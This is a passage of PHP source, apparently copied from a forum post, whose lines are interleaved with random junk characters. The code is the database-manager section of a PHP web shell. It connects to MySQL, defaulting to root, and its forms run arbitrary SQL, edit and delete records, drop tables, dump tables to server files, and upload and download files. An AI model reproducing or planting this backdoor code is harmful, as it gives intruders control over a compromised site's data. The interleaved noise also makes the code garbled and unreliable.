  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    & a4 O! S$ [. X$ F. r, E
  666.         p('<h2>Download file</h2>');
    8 ^9 x3 z! z' E4 m7 u- x) j; _
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    % ^) r/ C3 o8 [+ L4 u$ }
  668.         makehide('dbhost');$ r# M6 b2 u. f! g
  669.         makehide('dbport');
    0 C" y( j) `6 k
  670.         makehide('dbuser');# i' T7 U0 D# W
  671.         makehide('dbpass');
    8 ~: g4 T: ?, v3 o* L4 c
  672.         makehide('dbname');+ y2 G, ~2 ]$ k  E! e- d" f
  673.         makehide('charset');- Y2 g* b* ]0 R) N
  674.         makehide('doing');
    / t# |0 b+ H1 t- u$ k' g' V
  675.         makehide('action','sqlfile');
    % \' `1 W# C  ^( Y  o% O8 {
  676.         p('</form>');+ ^) D9 P- \# M5 J/ C
  677. }
    ) I/ \( ~. {7 e9 N7 Q

  678. 0 B7 K' [$ O* [$ Z5 v' G
  679. elseif ($action == 'sqladmin') {
    , e, V$ k. K2 [- _
  680.         !$dbhost && $dbhost = 'localhost';
    : d6 L' \7 ~& N7 c! ?. t6 |
  681.         !$dbuser && $dbuser = 'root';' e) a6 d6 o) d4 ]2 O, `2 l5 u
  682.         !$dbport && $dbport = '3306';
    6 S2 J( s% ?% v1 {4 p  K
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';6 c6 i( C# m/ c* P& V( f# ~
  684.         if(isset($dbhost)){
    2 O, l! @9 F# Q1 X& [; P4 ]
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    " I; {2 [! ^; R3 P  Q+ [5 M
  686.         }7 V8 A7 `* y+ d! M3 l
  687.         if(isset($dbuser)) {9 [. p9 T$ E, r3 ^
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";  k( h, g# k0 G4 C7 e
  689.         }
    ; Y7 N" W* i; A* n6 ~
  690.         if(isset($dbpass)) {
    * [# o4 I! o- x
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";9 @: N- H, b, l
  692.         }
    3 d7 X( b8 K. A) K3 _
  693.         if(isset($dbport)) {' L/ k% m1 x" f9 n
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";% Y& o1 n& `% J3 Z( {) ]- a" s
  695.         }7 `+ X, S9 J& h- r' Z
  696.         if(isset($dbname)) {0 \: I7 g" Q; e
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";& @: x& e4 j9 o, S9 e9 Y
  698.         }
    # N2 ~" ^! z' o  `  n2 Y: g( R
  699.         if(isset($charset)) {
    , W; `% g* u) N: S: {
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    6 D- D- N7 g; b" Z9 l. t1 D% s
  701.         }- U- \% C# }) b7 _1 h; R: p6 k
  702. 4 U& S# |2 b# r& t: U5 U2 P" b! s, x4 R0 z
  703.         if ($doing == 'backupmysql' && $saveasfile) {2 R1 R$ q5 B6 x
  704.                 if (!$table) {/ {5 ^% G2 h+ i1 z  {% Z( F+ [8 |
  705.                         m('Please choose the table');; ]5 j5 r& ?& t' L
  706.                 } else {; v; [! ^* Z/ q& n( `4 c
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    + M( u& B' J' E& I! U' x  B, s- a
  708.                         $table = array_flip($table);+ \4 V* g  i; q( c
  709.                         $fp = @fopen($path,'w');
    $ z8 l, t; [7 a4 Y
  710.                         if ($fp) {
    $ @' F- N+ P6 I) |8 y, ~' W
  711.                                 $result = q('SHOW tables');! a$ m2 q  X& |# K
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');) K9 w1 a2 c4 |( W  Y9 [+ \4 J+ p
  713.                                 $mysqldata = '';  n: _) f+ d; g
  714.                                 while ($currow = mysql_fetch_array($result)) {
    ' o. L4 x' j3 y2 L- J0 ^
  715.                                         if (isset($table[$currow[0]])) {
    4 I4 F& ~- o) e+ K
  716.                                                 sqldumptable($currow[0], $fp);
    + h8 L% A/ T0 H# s
  717.                                         }
    * M2 m7 v" U% h" K1 O. {
  718.                                 }
    " y1 o0 {5 D: u8 y5 X8 M
  719.                                 fclose($fp);8 y8 N( i/ r+ V# B" y; o+ c& v
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    8 \- U/ q$ I  ~9 {' h! ?2 K) Y
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');, D( I& y  y2 N+ {0 ^- M/ B5 m
  722.                                 mysql_close();
    ; X' O* E: s) ?
  723.                         } else {
    ! r' F# o: B1 L9 t7 c
  724.                                 m('Backup failed');, j& T, U7 \1 X6 \5 {4 `
  725.                         }% b, i3 L  ^9 ?
  726.                 }
    & K& j' w9 J7 b& z
  727.         }& i( [% S2 f. I% @+ F0 w9 M% P6 S
  728.         if ($insert && $insertsql) {
    8 X9 x1 w( K8 S- G6 S4 b. F
  729.                 $keystr = $valstr = $tmp = '';
    & A3 `) {5 S/ H0 _# m
  730.                 foreach($insertsql as $key => $val) {. J5 A2 L& l0 s0 U
  731.                         if ($val) {
    8 j( l# }- u+ C& F0 a8 `! q4 @8 d7 R
  732.                                 $keystr .= $tmp.$key;
    4 K( j7 D, m+ @$ S) d2 ~
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";) I6 E5 S/ t) _! Z9 h) C1 t. `! D& d
  734.                                 $tmp = ',';' W; N) d. n4 F, u: [  l2 F
  735.                         }# `4 w2 r' A/ I6 H2 E9 G4 Y0 P; M
  736.                 }
    * F6 V8 R( R  g" v8 e% I
  737.                 if ($keystr && $valstr) {4 R7 h9 j8 Q3 i2 M) Z5 L+ C& j
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);! R  }0 E9 t# |8 A! ~& t1 |4 l4 c
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());; D  Q* Z  a* Y# S8 M, m
  740.                 }
    5 s/ k0 R; Y; r+ k& d. Q: n
  741.         }9 x; ?4 a- y$ Y# V
  742.         if ($update && $insertsql && $base64) {
    ; `8 x9 t4 X9 l3 r7 t; z
  743.                 $valstr = $tmp = '';
    ; Q: M9 ?$ F+ o' I* K9 n7 p' L  N
  744.                 foreach($insertsql as $key => $val) {
      U' t5 ]& i& i, G0 @
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    ; j% R. |% l- l1 M
  746.                         $tmp = ',';7 Z5 P" J7 @  g1 J6 d
  747.                 }9 b4 A4 C) I& [; E3 [8 O& E' @
  748.                 if ($valstr) {
    ( B2 ]: {2 F& Z2 S
  749.                         $where = base64_decode($base64);" Y+ P2 Z) ]6 ]. _6 I& ^3 n
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& m* j4 B3 q; K, j" [8 C
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    7 w2 r8 g0 q" U  l8 X# T
  752.                 }
    7 q& r5 L! K  s9 b/ \0 P
  753.         }
    ; ]& y$ j1 x( ?0 E7 j
  754.         if ($doing == 'del' && $base64) {
    , Q; L9 w7 C7 ^& \
  755.                 $where = base64_decode($base64);
    ; P; r* p5 l+ t9 i. }
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";; X8 K! q& C1 w$ U
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    7 Z; d. W! L7 F0 s, e# E
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    0 t4 y% z% z4 j
  759.         }
    + z7 y6 r: m" V( f3 T9 L/ w
  760. # M1 N1 p" w% Y0 [' k1 o) g! H9 w
  761.         if ($tablename && $doing == 'drop') {0 T' w8 i; ]# R4 B
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    9 Y% X9 g1 w$ o. x) s* q
  763.                 if (q("DROP TABLE $tablename")) {
    ! O. `6 D3 P- ]: b7 z) o4 P( k* K
  764.                         m('Drop table of success');. G3 t) Q4 I/ W) Y6 `1 Y
  765.                         $tablename = '';  @' Z6 A6 `. G: P: j
  766.                 } else {
    8 w( Q7 |4 K1 a, k0 Z* X
  767.                         m(mysql_error());) V: q9 _# o! O" O, \
  768.                 }  ~5 |- h  H* Q5 z& V5 c3 u
  769.         }1 B, e+ Z1 X2 q

  770. 9 I2 `+ S8 w% D( s
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');& `6 y! z! c3 z: Y/ {% |, t4 A

  772. - o2 F% j9 m, o  b! d$ G; K
  773.         formhead(array('title'=>'MYSQL Manager'));
      Z* b$ `' |  ?( X1 L/ F, o
  774.         makehide('action','sqladmin');
    8 S, r! l$ ?6 f# K8 W' v5 Y7 ?
  775.         p('<p>');7 ]4 @) B1 w% S! T9 A# B3 @
  776.         p('DBHost:');' K, Z6 J/ M$ h0 W) J, [
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    7 n3 ~1 j' B4 d" @
  778.         p(':');( j+ f) |: ?$ R  C, s
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));1 q6 g3 i) Z  U( N7 _  ~( R5 W# L
  780.         p('DBUser:');1 S5 J% A! i5 j. C( B; j7 ^
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));9 O0 K. J* k% Q6 P
  782.         p('DBPass:');
    4 W8 w; d, I/ i/ D+ i3 Y; W( D$ G
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));8 B* K/ p4 J. [" I8 x, z  |
  784.         p('DBCharset:');
    + d# V9 F+ y6 }$ U
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    8 a) y, ]. M1 f3 f4 {: K
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));' h+ X0 f3 ?- {# j5 n
  787.         p('</p>');% L' i' k& E8 u: w  A2 ]: a+ X4 C/ R9 G) ~
  788.         formfoot();
    " W# a- U+ w( X: F  {
  789. ?>
    9 k" p, u8 Z4 d! R. F9 x
  790. <script type="text/javascript">
    4 x/ ]8 s2 W, |  t; L' y
  791. function editrecord(action, base64, tablename){, P+ c9 A" [5 v  s+ K, @! N
  792.         if (action == 'del') {               
    0 d/ m- s# ~: l1 ]/ }) f
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    ' _3 w1 w% S- J
  794.         }. ^; ]0 f& j& \
  795.         $('recordlist').doing.value=action;- F, [; ~( y3 e1 h
  796.         $('recordlist').base64.value=base64;
    1 h8 d, n# j$ \# H5 y2 ]
  797.         $('recordlist').tablename.value=tablename;9 P8 U$ ^' m. _; O  ]. M
  798.         $('recordlist').submit();+ E1 R$ m7 L2 G+ a" j/ m
  799. }) U; r; P! z- C/ _0 D& k
  800. function moddbname(dbname) {% F+ v2 X" Q9 K
  801.         if(!dbname) return;
    + N+ z: D+ X! }( ~+ c" \
  802.         $('setdbname').dbname.value=dbname;2 ~* b0 d5 r2 b- q/ x
  803.         $('setdbname').submit();) W! ^. [  l+ Q  S$ \( U7 }! J" i+ D
  804. }
    + X# Q  m( n. ]! V1 ^& n- o
  805. function settable(tablename,doing,page) {
    3 a3 H6 x- l4 n$ E
  806.         if(!tablename) return;( e0 [, ^; x8 l$ u5 `
  807.         if (doing) {2 Z$ ]4 \1 T9 f. u( X
  808.                 $('settable').doing.value=doing;
    ( c2 r3 i3 [4 E  v1 {# K/ [
  809.         }
    / S' p# E: f/ \8 Z  f% z7 P* M
  810.         if (page) {
    5 \+ Y7 {: u8 L2 p5 k
  811.                 $('settable').page.value=page;7 t2 {) T& _/ i5 u! P
  812.         }- T6 U8 c8 R9 f; e
  813.         $('settable').tablename.value=tablename;
    7 l- A6 O4 E, p8 c" E9 W: \
  814.         $('settable').submit();
    * C' r" o, n- p* Q
  815. }
    9 m5 Y6 R& v0 v
  816. </script>% k  L. K. |, N# X
  817. <?php
    # ~% K9 h! i% n0 l- ]9 ?3 t( ^
  818.         //操作记录# `0 `7 M% k0 X7 o( [+ o0 U
  819.         formhead(array('name'=>'recordlist'));: J  Z: ~  D2 n1 [) ^! c" p
  820.         makehide('doing');: k; {+ a9 ?' L# \8 O4 L: W
  821.         makehide('action','sqladmin');
    % G7 c( M" c  U- i  m+ c$ y
  822.         makehide('base64');
    / m; c# l4 W! g, @( ?
  823.         makehide('tablename');
    0 d# t* Q# l0 K% @
  824.         p($dbform);4 n; P( L  e' {+ L7 r0 \( n; ~; ~5 b
  825.         formfoot();5 H$ T- W! A. I/ e4 o& G: Y4 ?
  826.         //选定数据库# D' z2 z3 V: ?! ]: _; R$ o) w
  827.         formhead(array('name'=>'setdbname'));
    7 T0 K; P; |5 a2 o
  828.         makehide('action','sqladmin');6 [* r, G# N( }. }1 W" P# c/ }+ E
  829.         p($dbform);% I1 @2 G, A; |% \. _, a/ l4 w" D) x% A
  830.         if (!$dbname) {! _/ ^2 m/ i9 _0 L7 e% M$ v
  831.                 makehide('dbname');, e) W1 r7 ^* u3 C- w$ f8 O4 b& c
  832.         }
    + o2 C  c+ f# G3 {: \' e6 E1 Y
  833.         formfoot();
    ( W$ `/ q+ K8 s/ C2 ?' ^
  834.         //选定表7 U  I2 s1 h0 U8 N8 K  z
  835.         formhead(array('name'=>'settable'));- {8 b6 m2 D4 B7 L. N8 v3 x
  836.         makehide('action','sqladmin');3 ~( T+ I7 r7 `9 @3 @. I
  837.         p($dbform);
    6 F4 t" {7 Y' e( d, ~
  838.         makehide('tablename');" p' g6 h: v' M% g3 o/ N
  839.         makehide('page',$page);
    / K# ]. o* A" T# m
  840.         makehide('doing');8 \) [* N* ~5 \( ?" q* D  I! T. v
  841.         formfoot();3 y* A8 Y7 s6 O
  842.         $cachetables = array();       
    & g+ M% D7 H- a
  843.         $pagenum = 30;
    # f) l' n: l; F$ D" E
  844.         $page = intval($page);* F" v, `& m, D( k* N' b# N
  845.         if($page) {
    , ^, E6 [& O: @! `
  846.                 $start_limit = ($page - 1) * $pagenum;( D3 X3 \& `' k
  847.         } else {
    ) b$ k/ ?! Q- \, W% j
  848.                 $start_limit = 0;
    + N, I& C* x) w: a# _& R
  849.                 $page = 1;
    ' Q6 c; K1 H( X
  850.         }
    + ?4 I1 ~- i- d# |. U7 T6 i6 A. C
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    # R  F- w; T+ P0 w
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    4 ~8 o* j, O4 W/ t$ `
  853.                 //获取数据库信息' x! X$ j- i7 d* Y$ I
  854.                 $mysqlver = mysql_get_server_info();5 k& O  E8 V; T5 [. V/ u/ y, c# L
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');, D/ x/ k# @. G
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    5 T: H2 \8 U( _8 m
  857.                 //获取数据库% E$ T7 c  u( m  w' h* S
  858.                 $query = q("SHOW DATABASES");
    7 u( E* [2 w9 D$ x
  859.                 $dbs = array();/ k2 Y- L5 M  F  P" p
  860.                 $dbs[] = '-- Select a database --';
    6 |& z! t/ m" ?$ o6 ~& ]  _  h) t
  861.                 while($db = mysql_fetch_array($query)) {# i6 u% h& ]  H4 M6 x
  862.                         $dbs[$db['Database']] = $db['Database'];
    & M; P* D3 T# R  b1 }7 j0 k. b7 }; E
  863.                 }
    ! C$ E& I5 }( C: V$ E# Y
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
    , t: x6 b, }$ N; k" Y
  865.                 $tabledb = array();& }0 I2 p0 E7 S) q. |0 M( p
  866.                 if ($dbname) {4 |; [$ R, m8 Y: g# X/ f3 w& ~7 l
  867.                         p('<p>');5 q; s8 P0 f* |4 ?& r1 P
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    % x; c+ _! r+ Z( u
  869.                         if ($tablename) {
    6 X6 @# ~$ q( ~% r5 H& p
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');) V+ _7 m. R  V  t
  871.                         }8 ]& Z4 b9 G' t
  872.                         p('</p>');5 i- w- A: P0 O$ V- x! X6 Y; J5 ?: o
  873.                         mysql_select_db($dbname);
    2 \* K! e. u) A; z4 C$ h; k8 f& |0 b5 b
  874.                         $getnumsql = '';
      w. Y5 z( `# o6 S! F
  875.                         $runquery = 0;0 [9 D/ n1 c) a' K& @1 R
  876.                         if ($sql_query) {: A! {, S4 n9 o7 v9 o/ l4 ~; I* m! {
  877.                                 $runquery = 1;% @3 X0 z0 M" r1 M8 m" a" D
  878.                         }0 q2 P8 G9 {4 e
  879.                         $allowedit = 0;. e9 o* }' Y( u8 L: x* q/ ?
  880.                         if ($tablename && !$sql_query) {7 w. _0 {- d+ i
  881.                                 $sql_query = "SELECT * FROM $tablename";
    # T0 m8 u! z/ `) `% I. k
  882.                                 $getnumsql = $sql_query;7 Q6 A  Z+ A9 q$ }: G3 S
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";* p. r4 H( K' J( Z
  884.                                 $allowedit = 1;) A. m; T; r- K9 R
  885.                         }5 S; t# ?) U! O
  886.                         p('<form action="'.$self.'" method="POST">');# ~5 c3 l" V8 j, \5 ~. p1 Z1 G4 j
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    : L5 u1 G3 Q% |- m# `. @) |2 a
  888.                         makehide('tablename', $tablename);1 c! v8 H- G8 P
  889.                         makehide('action','sqladmin');# @3 s7 a; U: ^. }2 ~8 L' p
  890.                         p($dbform);) ?. C  h7 K+ ~, C7 [" Y
  891.                         p('</form>');& @4 X; ~$ K, G/ }
  892.                         if ($tablename || ($runquery && $sql_query)) {9 t4 l; o$ U# m" b
  893.                                 if ($doing == 'structure') {: Y8 u$ W3 R2 w8 j4 S% ?
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    + k! I; O5 u: ~5 O5 ^% j! v
  895.                                         $rowdb = array();
    / y* u. Y+ t! G
  896.                                         while($row = mysql_fetch_array($result)) {
    : l/ F9 c  e- O" {* @+ G/ B$ f9 Z
  897.                                                 $rowdb[] = $row;
    % S- b! L; |5 {
  898.                                         }
    6 s6 L/ N/ Y: S! u
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');3 n( H" D, I! S' [7 B3 J( g
  900.                                         p('<tr class="head">');
    / Y" B7 L. V" M, N- A: J8 T# s
  901.                                         p('<td>Field</td>');* d4 q" x2 h1 s
  902.                                         p('<td>Type</td>');, X. N3 h: z+ g1 Z" Q
  903.                                         p('<td>Null</td>');+ A( r7 F2 V: s0 f0 z
  904.                                         p('<td>Key</td>');, ]& ~! p1 X" G8 F9 \/ R: I
  905.                                         p('<td>Default</td>');; O0 b# h/ M% V8 I
  906.                                         p('<td>Extra</td>');
    2 G% J6 v4 w) V5 C
  907.                                         p('</tr>');8 a; w; O4 {/ b* c
  908.                                         foreach ($rowdb as $row) {& o- W( o4 ^0 P7 K
  909.                                                 $thisbg = bg();) r/ J  g( R1 s
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    0 R) b" e6 `2 n6 Q* Q( j0 N1 }* G
  911.                                                 p('<td>'.$row['Field'].'</td>');* O# g, Q  d2 L; R
  912.                                                 p('<td>'.$row['Type'].'</td>');
    % `2 _, Q, ?, X% X) d4 b
  913.                                                 p('<td>'.$row['Null'].' </td>');  Z4 n2 u& ]+ C2 Y# W
  914.                                                 p('<td>'.$row['Key'].' </td>');- A) \; o/ V+ A* L( i
  915.                                                 p('<td>'.$row['Default'].' </td>');+ _+ `" d* f4 ?* ]1 N
  916.                                                 p('<td>'.$row['Extra'].' </td>');  [4 Z2 K/ h- a) z: k; T
  917.                                                 p('</tr>');$ q& h+ O) J% `. J) g( N0 Z2 _
  918.                                         }- Y/ l0 |, z: Y' n4 I2 u) D
  919.                                         tbfoot();5 H7 z2 G+ Q3 n* x2 L
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {  H7 ?' S  i  |0 k. W
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);6 F6 a8 J) c! m* f9 r/ \( n/ ^0 c
  922.                                         while ($row = mysql_fetch_array($result)) {
    . F( S/ x2 y4 m. v8 S2 O& f! J
  923.                                                 $rowdb[] = $row;! d2 n, Y  P7 V4 `
  924.                                         }
    / p: F+ B2 I5 _9 O& p3 u# g
  925.                                         $rs = array();
    ) `0 u0 M- B/ h0 G0 ]' ]6 q3 M! e
  926.                                         if ($doing == 'insert') {# W6 Q, @1 w, C) T. D: `+ d
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    / ~. W9 i: V9 m" s2 r% e1 r6 R5 K
  928.                                         } else {: G' a% _) x* [* z1 n. L# C+ {* F' Z
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    $ W4 C" i+ `- ?" ^: Q
  930.                                                 $where = base64_decode($base64);
    # f( r3 Q- x5 v; B" k" I2 s
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");+ I  `& }  f0 C7 s) t# o  Q3 X
  932.                                                 $rs = mysql_fetch_array($result);
    ! h: n+ n  n& q" N$ G' d4 Q
  933.                                         }, p9 h' I6 w9 N1 L7 J$ l
  934.                                         p('<form method="post" action="'.$self.'">');* E+ C( E0 P( s: I) A+ P& Z
  935.                                         p($dbform);
    2 n0 K( `. h: J- y0 r0 b
  936.                                         makehide('action','sqladmin');
    ' O( [3 V' n6 o* b; Z
  937.                                         makehide('tablename',$tablename);
    5 U& ]5 r* E# a* o
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    - q9 c- d! ]( R+ f
  939.                                         foreach ($rowdb as $row) {
    8 F5 U5 S0 e, |4 d/ ]; ]
  940.                                                 if ($rs[$row['Field']]) {4 S+ v8 H8 \1 P
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    ! F# J- p3 m* B! z5 A: ^4 ~% S& Z& m
  942.                                                 } else {* L! b* d4 r. m2 b5 B) K( O
  943.                                                         $value = '';% v7 ]( _$ Q' Z  A  A$ Z) [
  944.                                                 }
    : ?% a% G5 ?: o' F! p0 @% H! }, r: o4 ~
  945.                                                 $thisbg = bg();; D$ c; u! ?! u) d6 }2 K6 y+ O' l
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    , l3 W. G  y2 x& {2 P
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    : U4 d) R- Y% T4 J
  948.                                         }
    + I8 O5 ^" f& Q  k$ w" p$ d
  949.                                         if ($doing == 'insert') {
    ! `, {% g5 g! C0 q/ D/ S9 \
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');0 r4 q; ]4 t/ U( T9 d7 G4 f1 {/ x
  951.                                         } else {! Y: h2 Q7 K5 W# h
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');7 Z' M# U( H% {$ v0 l& K
  953.                                                 makehide('base64', $base64);
    * u9 X6 Z) [) q: ^
  954.                                         }' u  ?) `! M6 E
  955.                                         p('</table></form>');9 p, m0 u' x: l( @% ?2 Y
  956.                                 } else {; {& p5 |1 j" t5 b' _& ?
  957.                                         $querys = @explode(';',$sql_query);4 }" [. n+ b  t9 M6 E" L' r
  958.                                         foreach($querys as $num=>$query) {
    2 J5 n/ c" t+ d  l% u
  959.                                                 if ($query) {
    + D/ @$ ~# I  M% `* R1 `' W6 H
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");% ~  f; d- s7 ?" q2 m3 ?
  961.                                                         switch(qy($query))' [1 z  K# N# V
  962.                                                         {  w3 P$ W4 c2 U6 \. P- {2 o% N
  963.                                                                 case 0:8 P. s( {5 I+ O
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');  q8 q; L  b9 J7 m. Z
  965.                                                                         break;        $ O6 S/ U) f& \1 L- w+ b
  966.                                                                 case 1:
    - {. ^# {2 F7 c  I9 C9 j
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {6 g0 w/ P8 y# E$ O
  968.                                                                                 $allowedit = 1;. i6 N' ~( _* k% l1 Q( I7 l, ]( r9 p
  969.                                                                         }6 W% R. U% |/ l# I' n0 I' n
  970.                                                                         if ($getnumsql) {+ j; n: R& w* t3 R; r5 g
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));& J2 ~1 |& x5 ?6 x' D
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);" ~1 D5 \* [) G' q# ^& j6 e
  973.                                                                         }
    5 E1 s+ M1 i3 E6 r
  974.                                                                         if (!$tablename) {( F' R' v7 F4 C1 u3 R
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));% i; o( A, F# q' B4 q) Y+ L
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    : ?& ^9 u6 G) \& u# Y
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    $ T0 {* S& D3 X' c" f
  978.                                                                                 $tablename = $matches[1][0];# l; g1 o3 P, M: h3 H
  979.                                                                         }8 x% ~/ D" [! J* }+ y' ^
  980.                                                                         $result = q($query);
    & o- g) D- N" A
  981.                                                                         p($multipage);) w$ k3 N3 F" g  H9 p: e4 o
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');4 T4 M8 P" i4 b: B
  983.                                                                         p('<tr class="head">');  o  O; V# A* U7 H1 s$ y+ k! @0 r
  984.                                                                         if ($allowedit) p('<td>Action</td>');8 u/ \: D  ^0 }* P& e; o8 E3 S
  985.                                                                         $fieldnum = @mysql_num_fields($result);( t1 k+ w: N1 }' E2 d! e+ X% o  X
  986.                                                                         for($i=0;$i<$fieldnum;$i++){  K: D. R/ a5 t) L0 n7 b
  987.                                                                                 $name = @mysql_field_name($result, $i);
    2 I6 x# x9 n% C3 g& e) f* z/ Q
  988.                                                                                 $type = @mysql_field_type($result, $i);4 h8 Y" R% z7 Z8 C! x* }/ A. f
  989.                                                                                 $len = @mysql_field_len($result, $i);9 j. o0 G+ N( F  K6 z
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");1 l* j) f+ b6 F4 |8 L8 Y0 _
  991.                                                                         }
    4 w+ S/ h6 Q6 s% ~
  992.                                                                         p('</tr>');
    + [4 e* a$ J- h- [# U
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    4 H) Z" Z5 a6 t6 U, h6 x
  994.                                                                                 $thisbg = bg();5 G% {+ q. w& W9 ?* }3 [) M+ X/ y
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ( B0 l. \% ^9 M- y
  996.                                                                                 $where = $tmp = $b1 = '';) w2 y6 m- r% ?0 D7 s% D
  997.                                                                                 foreach($mn as $key=>$inside){6 `+ P; F8 f& M- h4 P  S" V. X
  998.                                                                                         if ($inside) {
    & o- \5 f6 T. i" j  U. b- P% f
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";) Y& t/ F# P1 S) _7 O# ?0 ?
  1000.                                                                                                 $tmp = ' AND ';' F8 b* W% n, s. r/ w/ ~
  1001.                                                                                         }
    / d& [3 I1 E" k' V8 R  N/ d
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    5 s, L" y5 h7 s$ q7 ~' L
  1003.                                                                                 }  v( s1 t8 {/ H3 x' U# f2 x, X4 X# k
  1004.                                                                                 $where = base64_encode($where);
    % W! w' |2 Q! t8 r
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');8 F* Q' h+ X; {# \5 a6 Q
  1006.                                                                                 p($b1);
    / k1 T5 q% y- [5 Q1 ?8 M2 _
